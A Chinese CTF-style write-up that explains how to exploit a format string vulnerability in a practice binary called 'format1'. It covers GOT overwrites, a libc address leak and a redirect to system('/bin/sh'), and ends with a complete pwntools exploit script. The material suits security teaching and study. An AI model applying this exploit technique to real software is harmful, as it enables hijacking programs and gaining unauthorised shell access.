一道格式化输出题

  • 分析
  • 步骤说明
  • 完整exp
  • 对format1进行分析:
    使用IDA对该程序进行初步分析。

该程序主要部分有main函数,puts函数,exit函数:

一道格式化输出题

getname函数,read函数,printf函数:

一道格式化输出题

该程序是通过read获取一个输入字符串并将其放入buf,然后使用printf输出。但是printf函数中只有&buf一个参数,存在格式化字符串漏洞。

漏洞利用思路:

step1.将exit函数的GOT表地址用main函数地址覆写,实现函数的循环;

step2.通过printf格式化字符串漏洞,读取puts函数的真实地址,并计算得到system函数的地址;

step3.通过格式化字符串漏洞,用system函数地址覆盖GOT表中的printf函数地址;

step4.输入'/bin/sh',执行system('/bin/sh');

  • step1:
    使用IDA查找exit函数的GOT表地址以及main函数的地址:

一道格式化输出题

一道格式化输出题

使用gdb调试,查看printf函数到buf中间间隔多少个参数:

一道格式化输出题

0xac-0x90 = 28,即7个参数。

编写构造格式化字符串的函数generate_format(addr,value)

def genernate_format(addr,value):
    payload = ''
    print_count = 0
    addr_part = ''

    for i in range(8):
        if(value >> (8*i)) == 0:
            break
        
        one_byte = (value >> (8*i)) & 0xff
        payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) 
        % 0x100,19 + i)
        print_count += (one_byte - print_count) % 0x100
        addr_part += p32(addr + i)

    payload = payload.ljust((19-7)*4,'a')
    payload += addr_part

    return payload

调用函数生成第一步的payload

p.recvuntil('Welcome~\n')
addr_main = 0x08048648
addr_exit_got = 0x0804A024

payload1 = genernate_format(addr_exit_got,addr_main)

p.sendline(payload1)

发送payload后可以看到此时exit函数的地址已被修改为main函数地址:

一道格式化输出题

  • step2:
    利用格式化字符串漏洞实现任意地址读。

使用%num$s + puts@got的格式读取地址,由于buf从第7个参数开始,则buf中的puts@got是第8个参数,即num=8。

使用IDA查看puts函数的GOT表地址:

一道格式化输出题

构造payload2并接收读出的地址:

p.recvuntil('Welcome~\n')
addr_puts_got = 0x0804A01C
payload2 = '%8$s' + p32(addr_puts_got)

p.sendline(payload2)
addr_puts = u32(p.recv(4))

通过libc文件中两个函数的偏移差,计算system函数的地址:

lib = ELF('./libc.so')
addr_sys = addr_puts - (lib.symbols['puts'] - lib.symbols['system'])
  • step3:
    使用IDA查看printf函数的GOT表地址:

一道格式化输出题

调用generate_format函数生成并发送payload3,将printf覆写为system:

p.recvuntil('Welcome~\n')
addr_printf_got = 0x0804A014
payload3 = genernate_format(addr_printf_got,addr_sys)

p.sendline(payload3)
  • step4:
    发送'/bin/sh'
p.recvuntil('Welcome~\n')
payload4 = '/bin/sh'

p.sendline(payload4)
p.interactive()

getshell:

一道格式化输出题

完整exp如下:

from pwn import *
#from pwnlib.elf import symbols

def genernate_format(addr,value):
    payload = ''
    print_count = 0
    addr_part = ''

    for i in range(8):
        if(value >> (8*i)) == 0:
            break
        
        one_byte = (value >> (8*i)) & 0xff
        payload += '%{0}c%{1}$hhn'.format((one_byte - print_count) 
        % 0x100,19 + i)
        print_count += (one_byte - print_count) % 0x100
        addr_part += p32(addr + i)

    payload = payload.ljust((19-7)*4,'a')
    payload += addr_part

    return payload

p = process('./format1')

#step1
p.recvuntil('Welcome~\n')
addr_main = 0x08048648
addr_exit_got = 0x0804A024

payload1 = genernate_format(addr_exit_got,addr_main)
#pwnlib.gdb.attach(p,'b main')
p.sendline(payload1)

#step2
p.recvuntil('Welcome~\n')
addr_puts_got = 0x0804A01C
payload2 = '%8$s' + p32(addr_puts_got)
p.sendline(payload2)
addr_puts = u32(p.recv(4))

lib = ELF('./libc.so')
addr_sys = addr_puts - (lib.symbols['puts'] - lib.symbols['system'])

#step3
p.recvuntil('Welcome~\n')
addr_printf_got = 0x0804A014
payload3 = genernate_format(addr_printf_got,addr_sys)

p.sendline(payload3)

#step4
p.recvuntil('Welcome~\n')
payload4 = '/bin/sh'

p.sendline(payload4)
p.interactive()
上一篇:深入理解GOT表和PLT表


下一篇:MySQL Got timeout reading communication packets